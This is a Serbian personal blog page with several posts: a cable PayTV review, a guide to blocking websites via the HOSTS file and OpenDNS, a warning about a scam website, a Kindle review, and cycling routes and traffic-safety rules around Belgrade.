Na žalost, što se KDS-a tiče, većina stanara zgrade je izabrala njih za kablovskog provajdera (starija populacija, a ovo je “državno” preduzeće) davno pre nego što smo se mi doselili.

Na sreću, kod nas se TV ne gleda koliko u prosečnoj srpskoj porodici (5 sati); moja vrsta zabave je radio.

No, to nikako ne znači da ne volim da pogledam dobar film ili dobru obrazovnu emisiju, kao i da eksperimentišem sa digitalnim tehnologijama

Tako sam, ponukan smanjenjem cene instalacije (na 1,500 din), odlučio da probam PayTV PTT KDS-a – prvenstveno zbog kanala kao što su Discovery Science i Da Vinci Learning.

Prijava za PayTV je jednostavna – okrenete telefon, ostavite podatke i za nekoliko dana dođe monter sa uređajem i “instalira” ga (poveže). Od montera sam saznao mnoštvo stvari: da je vrlo mali broj PayTV pretplatnika, da je ekipa za montiranje on jedini kao i da je PayTV u testnoj fazi bio preko godinu dana!

Digitalna televizija?

Mnoštvo je nedoumica oko toga da li je PayTV (i slične usluge ostalih televizija) zaista digitalna televizija ili ne. Da bi dao odgovor na ovako pitanje, prvo treba da se dogovorimo o značenju pojma “digitalna televizija”.

Uprošćena šema prenosa satelitske ili zemaljske televizije preko kabla izgleda otprilike ovako:

Uobičajeni pojam “Digitalne televizije” podrazumeva da je signal od prijema (1), preko obrade u KDS centru (2) do distribucije (3) u digitalnom obliku (obično MPEG2 kodiranje signala). Na samom prijemu (4) SetTop box (uređaj koji radi otključavanje signala) može prevesti digitalni signal u analogni (koji se obično vodi na SCART ili kompozitni ulaz televizora). Ovde se radi o SDTV (Standard Definition TV), gde je rezolucija slike maksimalno 720×576 tačaka (kod PAL sistema – kao kod nas).

No, sada pod pojmom “digitalna televizija” se obično podrazumeva High Definition TV (HDTV), gde se HDTV signal šalje od satelita do korisika i gde je i prijem slike u televizoru (4) digitalni – kroz HDMI ili DVI ulaz (svi noviji LCD/Plazma televizori imaju HDMI ulaze).

U HDTV slučaju dve najčešće rezolucije za prikaz slike su 1280×720 – 2,2 puta bolje od SDTV (gde prodavci televizore sa ovom maksimalnom rezolucijom zovu “HD Ready“) i puna rezolucija 1920×1080 (gde prodavci televizore sa ovom maksimalnom rezolucijom zovu “Full HD” ili 1080p) koja je 5 puta kvalitetnija od maksimalne SDTV rezolucije.

Odgovor u slučaju PayTV PTT KDS je: digitalna televizija standardnog kvaliteta (do 720×576). Kvalitet kanala je pristojan, bolji od analognih svakako; neki su izuzetno dobri (HBO) dok je kod nekih vidljiv šum (VH1 Classic).

Set-top box, uređaj za dekodovanje koji se sada dobija je TehniSat DIGIT MF4-K.

(koliko je meni poznato, u Beogradu samo dva kablovska provajdera imaju nešto kanala u pravoj HD rezoluciji: Radijus Vektor i SBB sa po 5 – 6 kanala)

Programska šema – paketi

Najslabiji deo priče; naime, uopšte nije jasna filozofija kako se došlo do spiska ovih kanala (sumnjam da je bilo “šta je najjevtinije”); takođe, ima samo nekoliko kanala koji su dostupni i u standardnoj (analognoj) kablovskoj ponudi, tako da ste prinuđeni da žonglirate između analogne TV i PayTV (ili da imate kvalitetniji univerzalni daljinski).

Celokupna ponuda je podeljena u tri paketa: Mega, Filmski i 18+ paket.

Mega paket

Ovo bi trebalo da predstavlja osnovni paket – mešavinu koja bi trebala da pokrije ukuse najvećeg broja gledalaca (onih koji su spremni da plate). Doduše, ako vam sport ili francuski nisu u krvi, teško U svakom slučaju, evo trenutnog sadržaja:

Obrazovni

Meni najinteresantniji kanali:

• Discovery Science
• Da Vinci Learning – pored Science, ovo je bio moj glavni razlog za uzimanje PayTV-a; na žalost, kanal ne radi jer ga više ne plaćaju I ovo sam saznao od montera, jer operateri koji se javljaju na telefon ovo ne znaju
• Discovery Travel & Living (dostupan i u analognoj varijanti)
• National Geographic Wild

Muzika

Odlični kanali kao pozadinski šum (bez potrebe da gledate TV):

• MTV Hits
• VH1 Classic
• Mezzo – ozbiljna (pre podne) i džez uveče.

Razno

• Baby TV – program za najmanje Jarke boje, umirujuća muzika i smešni likovi – taman da ih drži zaokupljene dok vi nešto drugo radite
• Jim Jam TV – opet za klince, ali nešto starije; na engleskom, bez prevoda.
• BBC Entertainment (dostupan i u analognoj varijanti)
• France 24 – kanal sa vestima [francuski]
• Hustler TV – porno kanal, zaštićen kodom; iako će se većina muške publike barem nasmešiti na ovakvu vrstu zabave Hustler TV je poprilično dosadan i neinventivan kanal ove vrste.

Sportski

Meni neinteresantna oblast, ali da ipak nabrojim:

• Arena Sport 2, 3, 4
• Extreme Sports
• The Poker Channel
• AB Moteurs [francuski]
• Chasse & Peche – lov i ribolov [francuski]

Filmski paket

Filmski paket čine samo dva kanala: HBO i HBO Comedy.

Kvalitet signala je dobar; lako ćete naći nešto za sebe na oba kanala. Ovaj “paket” (teško da su dva kanala paket, ali ‘ajde) je možda još i najvredniji deo KDS ponude.

Na kraju

Da li ova dva paketa (Mega + Filmski) vrede dodatnih 750 dinara mesečno? Pa, zavisi od vaših potreba – ako ste ovisnik o sportu, verovatno. No, ako televizor gledate s mene pa na uštap, verovatno ne – sve dok se ne uključe atraktivniji kanali (kao recimo SciFi ili Da Vinci Learning), pojave svi kanali koji su dostupni na analognom kablu kao i uvede elektronski program kanala (EPG – Electronic Program Guide) ova cena je preskupa za datu uslugu.

To vas naravno ne sprečava da probate PayTV – ugovor je lako raskinuti

To je vreme (i mesto) da izađete iza vaših velikih / malih / mobilnih ekrana i date sajtovima, blogovima, twitovima i lica iza njih

Ovogodišnji BlogOpen ima svoj alijas – SocialOpen – i fokus na društvene mreže svih vrsta i efekte koje te mreže proizvode na posao, naše socijalne krugove i na kraju i na nas same.

Zato, pravac prijava (ili volontiranje … a možda imate šta da kažete i želite da budete predavač?). Cijena je prava sitnica – samo 1,300 RSD.

U svakom slučaju, nadam se da ćete doći i da ćemo se videti u što većem broju 9. i 10. oktobra 2010. u Novom Sadu, Spens.

Doduše, ovo dodaje i neke nove izazove svakodnevnici – kako kontrolisati takav nalet informacija i kako sprečiti da komunikacija / Fejsbuk / Tviter ne postanu samodovoljni, odnosno da se ne izgubi fokus šta i kako raditi.

Dve grupe su posebno osetljive: deca i zaposleni Iako možda izgleda smešno, društvene mreže mogu da budu vrlo ozbiljan problem za produktivnost na radnom mestu.

Ponekad, kada pristojniji metodi prosto ne urode plodom, ostaje samo jedan način: blokiranje pristupa određenim sajtovima.

Preduslov je da ste vi na tom računaru / računarima administrator, dok su drugi korisnici samo Users (bez prava pristupa nekim bitnim datotekama) – detalje možete pogledati u tekstu “Sigurni prozori”.

Predstaviću dva načina:

• jednostavniji, koji odgovara situacijama kada želite da blokirate samo sajt ili dva i to na jednom ili dva kompjutera – promena HOSTS datoteke
• Napredniji, koji vam omogućava da kontrolišete sa jednog mesta dozvolu pristupa sajtovima, pregled kojim se sajtovima pristupa i laku kontrolu – OpenDNS nalog.

Da ovo ne bi bio samo jedan recept bez odgovarajuće lekcije “kako stvari rade” prvo moram ukratko da objasnim po kom principu uopšte vaš browser dolazi do određenog sajta.

Naime, browseru ime sajta kome pristupate ne znači puno; browseru je potrebna takozvana IP adresa – četvorodelni broj koji jedinstveno određuje sajt na internetu. Ceo sistem koji omogućava browseru da “prevede” ime sajta (www.vesic.org) u IP adresu (174.120.139.168) naziva se
DNS – Domain Name System.

Veoma uprošćeno, ceo sistem pronalaženja numeričke adrese izgleda ovako:

1. Ukucate naziv sajta u browser
2. Browser zatraži od operativnog sistema adresu za dati naziv
3. Operativni sistem prvo proveri datoteku HOSTS za adresu
4. Ako je tamo nema, odlazi do DNS servera, i pita ga za adresu
5. DNS server pronalazi adresu na osnovu naziva, vraća operativnom sistemu
6. Browser uzima adresu, pristupa sajtu i prikazuje sadržaj

Sada su možda jasnije obe strategije – za prvu ćemo u tački 3. “podmetnuti” nevalidnu adresu za problematične sajtove, a za drugu ćemo podesiti jedan određeni DNS server (OpenDNS) i preko njega kontrolisati pristup.

Još jednom da napomenem, za obe vrste akcija treba da imate administratorska prava; ostali korisnici ne bi trebali da poseduju ta prava, da ne bi poništili vaše akcije.

Promena HOSTS datoteke

Ovo je jednostavan i brz način na koji možete ograničiti pristup nekim sajtovima. Kako za svaki novi sajt ovo zahteva akciju na svakim od računara kojima upravljate, pogodan je za mali broj računara (1 – 2) i mali broj sajtova.

1 – startujte Notepad kao administrator

Kliknite na Start i otkucajte notepad; kada se pojavi u spisku programa, kliknite desnim dugmetom i izaberite Run as Administrator (za korisnike Windows XP – kliknite na Start, izaberite Run, unesite notepad i stisnite Enter taster):

2 – Unesite spisak sajtova u HOSTS datoteku

U Notepadu izaberite File / Open i unesite (ili copy / paste) sledeću datoteku:

%windir%\system32\drivers\etc\hosts

Za svaki od “problematičnih” sajtova, unesite dva reda (jedan sa i jedan bez www dela):

Na početku reda uvek treba da stoji 127.0.0.1.

Snimite datoteku, restartujte računar i to je to – od sada, ovi sajtovi će biti nedostupni na tom računaru.

OpenDNS kao vaš DNS provajder

U gornjoj priči sam izostavio jedan detalj – kako vaš računar u tački (4) određuje kom DNS serveru da se obrati?

Ovo je bitan detalj cele priče – naime, vaš internet provajder (bilo da je u pitanju ADSL, kablovski ili čak dial-up pristup) postavlja ove servere i to su obično računari u okviru samog provajdera. Ovo, vrlo često, zna da bude i razlog zašto do nekih sajtova dolazite “sporo” – ako su DNS serveri provajdera preopterećeni, onda faza od “ukucao sam adresu – sajt krenuo da se učitava” može da potraje i nekoliko desetina sekundi, što bez obzira na kvalitet veze može da oda utisak “sporog interneta”.

Ovo možete prevazići ako postavite OpenDNS (besplatni DNS servis) kao vaš jedini DNS servis – bez obzira kako dolazite do interneta, uvek ćete se obratiti OpenDNS-u za razrešavanje adresa. Iz sopstvenog iskustva preporučujem ovaj način – dobićete kvalitetniji internet (odziv) bez ikakvog ulaganja, čak iako ne želite da radite bilo kakvu kontrolu saobraćaja / blokiranje sajtova.

Iako sam rekao gore da je ovaj pristup pogodan za više računara (kada se obično koristi ruter za pristup internetu), ništa vas ne sprečava da ovo takođe koristite i na jednom računaru.

Nekakav recept bi bio:

Otvorite OpenDNS Basic nalog (besplatan je)

Otvaranje naloga je vrlo jednostavno – treba vam važeća email adresa i popunjavanje obrasca ovde: https://store.opendns.com/get/basic. Po otvaranju, samo potvrdite nalog klikom na link koji će vam stići u mail.

Podesite vaš računar ili vaš ruter da koristi OpenDNS kao glavni i jedini DNS servis

Ovo je možda najkomplikovaniji deo. Postoji mnoštvo rutera i kod svakog su ova podešavanja drugačija. Na sreću, u bazi znanja na OpenDNS-u su pokriveni najčešći ruteri (kod nas je Huawei jedan od najzastupljenijih) kao i operativni sistemi – ovde možete pogledati uputstva za Windows.

Registrujte vašu malu mrežu pod nekim imenom kod OpenDNS-a

Kako bi OpenDNS mogao da zna kojim računarima da filtrira sajtove, vaše bi bilo d definišete vašu mrežu (tačnije, tekući IP koji ste dobili od provajdera). Pod mrežom se podrazumevaju svi računari koji imaju istu tačku pristupa internetu (preko istog rutera recimo):

Označeni deo formulara je nešto na šta verovatno ne znate odgovor; no, ako ste kod uobičajenih provajdera, odgovor je skoro sigurno DA – imate dinamičku IP adresu (daleko jevtinija od takozvane statičke ili stalne IP adrese).

Instalirajte OpenDNS Updater program na barem jednom od računara u mreži

Kako se adresa vaše male mreže može promeniti vremenom, neophodno je da instalirate program, OpenDNS Updater, čiji je posao da dojavi promenu vašeg IP-a OpenDNS sajtu.

Jednom kada ga instalirate, preporučujem sledeća podešavanja:

Na ovaj način ostali korisnici neće ni primećivati prisustvo ovog programa.

Nije neophodno da se OpenDNS Updater instalira na svakom od računara – dovoljno je instalirati ga na računaru koji se najčešće koristi.

Kako program “trči” sakriven, ponovnim pozivom iz Start menija možete da vidite tekući status (da li je vaša mreža uredno registrovana kod OpenDNS-a):

Podesite filtriranje i/ili blokirane sajtove na vašem OpenDNS nalogu

Finalni korak u celom poslu: ulogujte se na OpenDNS nalog, i izaberite Settings / Web Content Filtering:

(klikni za veću sliku)

Tu možete izabrati nekoliko predefinisanih kategorija filtriranja / blokiranja sajtova, a možete i dodati i skup sajtova (do 25 u besplatnom OpenDNS Basic nalogu).

Pored same usluge filtriranja, OpenDNS pruža i prilično korisne statistike o saobaćaju u vašoj mreži – koji sajtovi su najposećeniji, koliko DNS upita se ostvaruje i slično.

Za kraj

Da ne zaboravim bitan detalj – ako blokirate pristup određenom sajtu / sajtovima, čak ni vi kao administrator nećete imati pristup tim sajtovima U tom slučaju umesto globalnog pristupa (preko OpenDNS-a) koristite HOSTS pristup i vaš računar izostavite iz procedure.

Da ne bude posle da vam nisam rekao

Naime, dobih malopre (spam) mail ovakve sadržine:

(klikni na sliku za veću verziju)

Vrlo zvaničan, ozbiljan mail. Odete na sajt, kad tamo nema ni “O nama” ni “Ko smo” a ni ko je uopšte “Agencija za privredne prekršaje RS” – važno je da ima cenovnik Čak ni Google nije uspeo da nađe ovu “agenciju”.

WhoIs upit za vlasnika domena CrnaLista.rs ima simpatičan dodatak:

Da dodam finalni začin na celu rabotu, pročitajte uslove korišćenja na Registracija strani; samo nekoliko rečenica:

“Crnalista.rs se odriče bilo kаkve gаrаncije zа sigurnost, pouzdаnost, PRAVOVREMENOST I PERFORMANSE sаjtа”

“b) NI POD KOJIM OKOLNOSTIMA crnalista.rs NEĆE BITI ODGOVORNA za korisnikovo korišćenje ILI ZLOUPOTREBU sаjtа ili OSLANJANJE nа sаjt. TA OGRANIČENJA ODGOVORNOSTI SE PRIMENJUJU RADI SPREČAVANJA NAKNADA ZA direktne, indirektne, slučаjne, POSEBNE I TIPIČNE ŠTETE”

“d) Crnalista.rs ne gаrаntuje zа tаčnost, isprаvnost ili potpunost bilo koje informаcije nа sаjtu i ne odgovara zа bilo koju grešku ili propust koji proističu iz korišćenjа ovih informаcijа…”

Treba li još podataka?

Ovo je primer gde bi CrnaLista.RS trebala da postane prvi upisani u Crnu listu, da takva zaista postoji.

Nadam se da će se naši organi, koji inače uredno hapse “kladioničare”, naći vremena da se pobrinu i za ovakve besramne pokušaje iskorišćavanja kako državnih simbola tako i neznanja našeg naroda. Doduše, strepnja mi je veća od nade…

No, danas se povela priča u kancelariji da li je bolja Koka-Kola ili kafa za “razmdravanje” posle (malo obimnijeg) ručka i koleginica, ne bude lenja, iskopa podatak koji me je prosto zaprepastio: jedna limenka koka-kole sadrži 35 grama (7 kašičica) šećera! (negde kažu i do 40 grama).

“Iskopa” je možda prejak izraz jer je dovoljno pogledati sastav: onih “10.6g ugljenih hidrata na 100 ml” – to je čist šećer. Ako više volite količinu na godišnjem nivou – jedna limenka dnevno vam garantuje dobitak od 9 kg težine za godinu dana.

Kako slika govori više od suvoparnih numeričkih podataka, kliknite na gornju sliku – to je količina šećera koja se nalazi u jednoj limenci.

Što je mnogo, mnogo je Jeste da živimo brzo, ludim tempom i da ovakva pića daju potrebnu injekciju energije, ali po koju cenu? Bolje je pojesti sladoled ili kolač nego se ubijati čistim šećerom.

Ono gore je moja poslednja popijena limenka koka-kole – više to piće neću ni pipnuti. A vi?

На предлог Регистра националног Интернет домена Србије (РНИДС) да, у вези са активностима одређивања ћириличног домена које ће наша земља користити на интернет мрежи, учешће поред представника осталих важних и релевантних институција нашег друштва узме и Српскa Православнa Црквa, Свети Архијерејски Синод СПЦ је за представника у Радној групи за избор ћириличног интернет домена Србије делегирао ђакона мр Оливера Суботића, теолога и информатичара, управника Центра за проучавање и употребу савремених технологија.

Cela vest na sajtu Crkve:
http://www.spc.rs/sr/ucesce_spc_u_izboru_cirilicnog_internet_domena_srbije

Neću čak ni da komentarišem.

Vezani tekstovi:

• Zakon o ličnoj karti – 69 (zlo i naopako)
• Vlada opet bez blagoslova

Vrlo čest cilj (hobi) biciklista (i logičan nastavak Ostružničke ture) je Obedska bara, i to obično na sredini / u drugoj polovini sezone (jun / početak jula). Dva su razloga za ovaj termin: prvo, ako imate nameru da tumarate po šumama Obedske bare, nije loše da se putevi tamo prosuše od zimskih/prolećnih voda; i drugo – pomenuto u prvom pasusu – put do tamo i nazad je solidnih 100 km (što nikako nije za podcenjivanje). Ovo je takođe lagana ruta (u smislu da je sve raavnooo) i ima svašta lepog za videti. Ovo je i lepa i lagana ruta koju je lako podeliti na etape i približavati se Obedskoj bari polako i fino, kako kondicija, raspoloženje i slobodno vreme dozvoljavaju.

Izlazak na put za Jakovo

Ako produžite Ostružničku turu i nastavite ispod jednog mosta (prvo običnog, saobraćajnog) a zatim i ispod železničkog, izbićete u neuređeni deo; tu pravog puta nema, već nekoliko traka tvrdo utabane zemlje, koje se pružaju prema putu za Jakovo.

U principu, ovih 3km (i malo više – narandžasto na mapi) nije problem preći, sem kod baš vrlo mokrog vremena – tada borba sa blatnjavim putem može neslavno da se završi po vas U takvim trenucima, možete da probate zaobilazak preko Surčina, ali je taj zaobilazak dosadan, predug, sa delom jako opterećenog puta – bolje je da odustanete, i vratite se kada se teren malo prosuši. Na mapi sam radi kompletnosti dao i tu varijantu, ali sam vas upozorio (i obojio sivo, čisto ako gornje nije bilo dovoljno).

Vrlo brzo se izbija na asfaltni put ka Jakovu, i prvo na šta nalećete je Salaš “Stremen”, simpatičnu lokaciju koja može poslužiti za predah ili klopu (restoran, igralište za decu, vožnja fijakerom pa čak i škola jahanja).

Odavde pa do manastira Frenek nema nekih posebnih atrakcija (ako u to ne računate poprilično ostarelu i ofucanu kasarnu u Jakovu).

Manastir Fenek

Manastir Fenek je (od skora, 2006.) muški manastir – pre toga je bio isključivo ženski manastir. Crkvena slava je sveta Petka Srpska. Manastir je sagrađen u drugoj polovini 15. veka; u I svetskom ratu je bio zapaljen, a u II svetskom ratu skoro kompletno uništen. Obnovljen je u potpunosti 1991. godine. Više detalja o samom manastiru imate na zvaničnoj prezentaciji.

Od manastira do Boljevaca možete regularnom asfaltnom rutom (vratite se nazad 2km pa skrenete desno) ili prečicom. Prečica je u pravom smislu traktorska – nastala od prolazaka traktora prilikom obrađivanja okolnih njiva (tirkizno na mapi). Ako niste spremni da se malo isprljate ili vozite po uvalama i rupama, vratite se na asfalt

Boljevci

Na samom kraju sela Boljevci se nalazi jezerce (ili velika bara, u zavisnosti koga priupitate) Živača, koja je poribljena i pored koje je postavljen “Ribnjak Živača” (ribolovački centar).

Od interesantnih manifestacija tu je Strašilijada – takmičenje u izradi najuspešnijeg (ovde “najlepšeg” nekako ne ide) strašila.

Bojčinska šuma

Na pola puta između Boljevaca i Progara se nalazi Bojčinska šuma. Za razliku od Košutnjaka i sličnih “gradskih” šuma, Bojčinska šuma je prava neuređena šuma – uska traka drveća koja se prostire od puta nekoliko kilometara u dubinu.

Sam početak šume je kultivisan; pored novoizgrađene bine, tu je i Bojčinska koliba, simpatičan restoran gde se možete osvežiti pa i ručati (mada vraćanje u Beograd sa punim stomakom nije najudobnija biciklistička avantura ).

Na samoj bini (i okolini) se od maja do septembra održava Bojčinsko kulturno leto, manifestacija opštine Surčin; svake subote i nedelje, od 19 – 22h zanimljiv kulturni program.

Kroz centar šume postoji (relativno loš) asfalt, koji se kod spomenika partizanima pretvara u solidno močvarni i blatnjavi put.

Sama šuma je prorešetana stazama i stazicama (koje su više za pešačenje a manje za bicikle tanjih guma) i odlična je za odvajanje od gradske sredine – bez rizika (najkrupnije što sam video od divljači je fazan i pitanje je ko se više uplašio ) a opet neuređeno i prirodno.

Više detalja o Bojčinskoj šumi: Gljivarski tereni: Bojčinska šuma

Obedska bara

Od Bojčinske šume do Kupinova (nezvaničnog centra Obedske bare) je relativno dug put, koji se nekima može učiniti dosadnim. Na sreću, vrlo ste blizu reke i postoji gomila putića i puteva (asfaltnih) kojima se može skrenuti ka Savi, i ukrasti minute pored reke, uz posmatranje (bogatog) ptičijeg života.

Ono što većina ljudi smatra “Obedskom barom” je kanal polukružnog obilka (više kao potkovica) koji se pruža od naselja Kupinovo do naselja Obrež. No, taj kraj obuhvata i mnogo više – šumsko/močvarni teren skoro do Šapca (sa ove strane Save).

Ja obično dolazim sa strane Kupinova – fino malo selo koje se hvali time da je to najjužnije selo u celoj Vojvodini

u samom centru sela možete pogledati crkvu svetog Luke kao i pravu Etno kuću. Ako zađete malo dublje u šumu naići ćete na ostatke tvrđave Kupinik – poslednje srpske prestonice – razorena je 1521.godine od sultana Sulejmana Veličanstvenog, u njegovom pohodu na Beograd. Detalje imate na Kupinovo sajtu.

U samom centru Obedske šume je sakrivena majušna crkva ili kapela, crkva majke Angeline. Podignuta je na malom uzvišenju, na mestu starog manastira Obred (crkve brvnare iz 16. veka).

Ako ne skrenete desno za crkvu, no nastavite pravo, nailazite na obalu Save i skelu, kojom je moguće preći na Obrenovačku stranu i tim putem se vratiti u Beograd (za mene, ne preterano zanimljiva opcija – nema se šta videti, a i sam put je solidno opterećen).

Obedska šuma je ispresecana stazama različite prohodnosti; sem ovog asfaltnog dela, dobar deo staza je prohodan u periodu jun – septembar, a van tog perioda zavisi od vremenskih uslova.

Tu su i čuveni lokvanji i sama bara; vrlo često možete zamoliti (ili častiti ) lokalno stanovništvo za vožnju po bari (gledajte samo šta ćete sa biciklom); ja to do sada nisam izveo.

Detaljna mapa

Google Maps
View Beograd – Obedska bara in a larger map

Na karti


a evo i u GPX formatu kao i u KML formatu (za slučaj da želite da “odvrtite” celu rutu u Google Earth).

Fotografije

Naravno, volim i dobre tehnološke igračke (gadget-e) – one koji prosto olakšavaju život ili ga čine zabavnijim. Stoga je prosto bilo neizbežno da gornja dva spojim u jedno: Amazon Kindle.

Kindle je elektronski čitač knjiga; do skora je bio dostupan samo američkom tržištu, a sada ga je moguće naručiti i za Srbiju.

Kindle kupovina

Kindle je moguće kupiti (barem za sada) samo sa glavnog Amazon.Com sajta; cena je 259$, a možete kupiti i futrolu za 30$ (nije obavezno, ali je korisno). Poštarina je 27$, pa ukupan trošak izađe na 316$ ili nešto oko 210€ (po današnjem kursu).

Na žalost, Amazon isporučuje Kindle u Srbiju samo preko špediterskih krvopija UPS-a, pa ako se odlučite za isporuku na vašu srpsku kućnu adresu, troškovi koje možete da očekujete su:

• Carina (10%): 21€
• PDV (18%): (316€ + 21€)*0.18 = 61€ (jeste, PDV ide I na carinu)
• UPS krvopije: 46€

Svega: 128€ dodatnih troškova (“sitnih” 61% od cene proizvoda – zemljo Srbijo!).

Iz gore navedenog, jasno je što preporučujem metod: isporuči kod stranskog prijatelja, a onda kofer dostava, kada neko dolazi u Srbiju – drastično jevtinije

Knjige sa Amazona

Amazon ima veliku količinu knjiga koje je moguće kupiti u Kindle formatu. Cene za te knjige variraju, ali su obično za 30-ak posto niže od cene knjige u papirnom formatu; uobičajene cene su do 10$. Postoji i gomila besplatnih knjiga koje možete odmah preuzeti bez plaćanja.

Knjige se dostavljaju preko WhisperNet-a, Amazonove 3G GPRS (mobilne) mreže za prenos podataka; nije potrebno dokupljivati bilo kakvu SIM karticu ili slično: Kinde ima ugrađenu karticu a Amazon dogovor sa našim mobilnim operaterima. U Americi je moguće koristiti Kindle i za surfovanje, a kod nas samo za pregled Amazon prodavnice i Wikipedie (samo engleske).

Po kupovini, knjiga se nađe za 2 – 5 minuta u vašem Kindle uređaju, spremna za čitanje.

Vaše knjige

Pored knjiga koje naručite sa Amazona, Kinde možete koristiti i za čitanje vaših knjiga. Spisak formata koji Kindle podržava nije veliki, ali je za sada sasvim dovoljan:

• Kindle (AZW) (originalni Kindle format)
• TXT (običan tekst)
• Audible – (knjige u govornom formatu)
• MP3
• nezaštićene MOBI (PRC) knjige
• PDF^*

^*Od poslednje verzije softvera (firmware-a) za Kindle, PDF je podržan i direktno. No, kako se vrlo često u PDF-u zakucava format stranice, čitanje nije baš najudobnije za PDF-ove koji nisu predviđeni za ovakve uređaje. Toplo preporučujem konverziju u MOBI format da bi čitanje bilo što udobnije.

Kroz konverziju: HTML (web stranice), DOC (Word dokumenti), JPEG, GIF, PNG, BMP (slike).

Konverzija

Konverziju formata vam nudi i Amazon; pošaljete knjigu na određenu mail adresu (tipa: Ime@Kindle.Com – dobijate je kada kupite Kindle uređaj) i za kratko vreme stiže vam na uređaj konvertovana knjiga. Ovakva usluga nije besplatna: košta 1$ po megabajtu poslate knjige. Postoji i besplatna opcija (tada šaljete na Ime@Free.Kindle.Com) – umesto na uređaj, konvertovana knjiga stiže nazad na mail sa koje je poslat zahtev, a na vama je da prebacite knjigu na uređaj preko USB-a.

Ako imate knjigu u nekom od nepodržanih formata, najjednostavnije što možete da uradite je da knjigu konvertujete u MOBI format – format podržan od MobiPocket firme (naravno, sada u vlasništvu Amazona).

Uz besplatni MobiPocket Creator (Publisher Edition) konverzija je dosta laka (mada zahteva i neka ne-očigledna predznanja).

Tako konvertovane knjige (ili knjige koje imate u već podržanim formatima) možete prebaciti preko USB interfejsa na vaš Kindle.

Kindle za PC

Sve vaše Kindle knjige možete čitati i na računaru: Kinde for PC je besplatna aplikacija koja ima pristup svim knjigama koje ste kupili za Kindle. Takođe, obe aplikacije preko Amazon sajta se sinhronizuju – tako da ako krenete da čitate jednu knjigu na jednom uređaju, pa nastavite na drugom (a oba su na Mreži), nastavljate od pozicije gde ste stali – nije svemirska nauka, ali je definitivno zgodno

Čitanje / korišćenje

Kindle je lepo dizajniran, tanak i ne previše težak. Ekran Kinde uređaja koristi takozvanu e-Ink (e-Papir) tehnologiju – vrstu ekrana koji ima izuzetno malu potrošnju i najbliže je papiru što sam do sada imao prilike da vidim:

• Vrlo čitljiv i prija očima
• Bez odsjaja, čak i na suncu
• Bez veštačkog osvetljenja (kao prava knjiga, treba da imate dovoljno svetla za čitanje)

Ako zanemarim (u početku blago iritirajući) “blesak” kod okretanja stranica (zbog prirode ekrana), udobnost i utisak u čitanju je vrlo, vrlo blizu “pravim” knjigama: nema onog mirisa stranica i šuškanja dok okrećete, ali je utisak tu.

Ima lep izbor veličina fontova, dobar rečnik (za engleske knjige), mogućnost za ostavljanje komentara (nije baš kao pisanje po marginama, ali dođe korisno ). Postoji i opcija za čitanje engleskih knjiga (i to zvuči iznenađujuće dobro), ali je ne koristim – čita sporo za moj ukus

Kindle se može puniti kako preko punjača koji dolazi uz njega (američki adapter, radi na 220 V) tako i preko micro USB kabla. Uz isključeni wireless (koji vam treba ako se sinhronizujete sa PC-om; kada kupite nove knjige; kada izađe nova verzija Kindle softvera) možete čitati preko dve nedelje.

Sve u svemu, fino sam zadovoljan mojom novom igračkom koja miri dva naizgled nepomirljiva koncepta – knjige i elektroniku. Čak je i non-techy okolina solidno zadovoljna izgledom i funkcijama ove igračke. Od techy okoline sam dobijao komentare tipa: “za te pare si mogao da kupiš Netbook i da čitaš i surfuješ i šta sve ne”, ove dve stvari nisu uporedive Ovo je specijalizovana spravica koja dobro radi ono čemu je namenjena, a računari su računari

* da jako volite da pedalate (naglašavam: baš jako)
* da imate živce kao konopce
* da imate avanturističkog (neki bi rekli i samoubilačkog ) duha
* da prihvatite u startu da preuzimate nezahvalnu ulogu nevidljivog učesnika u saobraćaju

Naime, Beograd nije gostoljubiv prema biciklistima – staze su retke i loše i najčešće na Novobeogradskoj strani, saobraćajna kultura je ispod granica za detekciju a kamoli merenje.

Pokušaću ovde da sumiram 13 godina iskustva u aktivnoj vožnji po našem lepom Beogradu, ne bi li vam uštedeo malo nervoze i nerviranja

Opšta pravila (biciklističke) igre

Pravilo 1: Vi ne postojite

Ovo nije metafizička tvrdnja već činjenica da, sem vaših biciklističkih saboraca, šanse da vas bilo koji drugi učesnik u saobraćaju primeti su minimalne. Šanse da vas poštuje kao ravnopravnog učesnika su još manje, manje i od šanse da dobijem sedmicu na lotou

Zato idem na:

Pravilo 2: Saobraćajni propisi

Sem očiglednog (poštujte SVE propise, pogotovo svetlosnu signalizaciju) nešto i manje očigledno – DOBRO naučite sva pravila kretanja vozila! Ne samo za A kategoriju, već i za sve velike i manje velike četvorotočkaše; to će vam jako dobro doći u raznim situacijama kada treba da predvidite šta će ostali učesnici u saobraćaju pokušati (sa i bez pretpostavke da vas uopšte vide, sa i bez pretpostavkle da će se i potruditi da signaliziraju svoju nameru).

U skladu sa tim:

Pravilo 3: Vidljivost

Uvek budite KOMPLETNO obeleženi – mačije oči na pedalama, svetlosne trake na torbici ili ispod sedišta, odgovarajuća odeća. Noću / predveče – obavezno: crveni uočljivi treptač pozadi i prednje BELO svetlo.

Pravilo 4: Sigurna zona

Nikada, ama baš nikada nemojte voziti uz samu desnu ivicu ulice – uvek ostavite prostora (recimo, za širinu šahta) koji će vam, u slučaju da zatreba, poslužiti za beg iz opasne situacije. Pored toga, najopasniji objekti (pukotine, rupe, nepokriveni šahtovi, razrovani ivičnjaci) su upravo uz ivice ulica.

Naravno, ovo će izazvati negodovanje (trubljenje) nervoznih, nepažljivih i bezobraznih vozača, ali to je njihov problem

Pravilo 5: Zabranjene staze/ulice

Vožnja auto-putem i opterećenim magistralama je samoubilačka misija (odmah mi pada na pamet Ibarska magistrala). Uvek postoji manje opterećen put, koji možda nosi manje adrenalina ali i daleko veću šansu da za dan ili dva odete na neku novu, još uzbudljiviju vožnju.

Pravilo 6: Budite predvidljivi

Budite predvidljivi u ponašanju u saobraćaju. Vozači (oni iole savesniji/odgovorniji, o drugima ne vredi govoriti) se najviše plaše biciklista zbog njihove nepredvidljivosti. Ovo se u praksi svodi na jednu, najvažniju stvar – koristite ruke (pošto migavce nemate) da pokažete svoje namere drugim učesnicima u saobraćaju, pre svega nameru da negde skrenete. Takođe je korisna gestikulacija u svrhu sporazumevanja oko redosleda prolaska, tj. pokažite da ste spremni npr. da sačekate da neko prođe ispred vas, a da se taj neko ne dvoumi oko toga da li ćete vi nešto preduzeti ili ne.

Takođe, uvek se trudite da ostvarite kontakt (očima) sa potencijalnim igračima u konfliktnoj situaciji – tako da se lakše razreši bilo kakva nedoumica.

Ukratko, vaša nepredvidljivost je opasnost vozačima isto koliko i njihova vama!

(zahvaljujem Duduku za ovo pravilo)

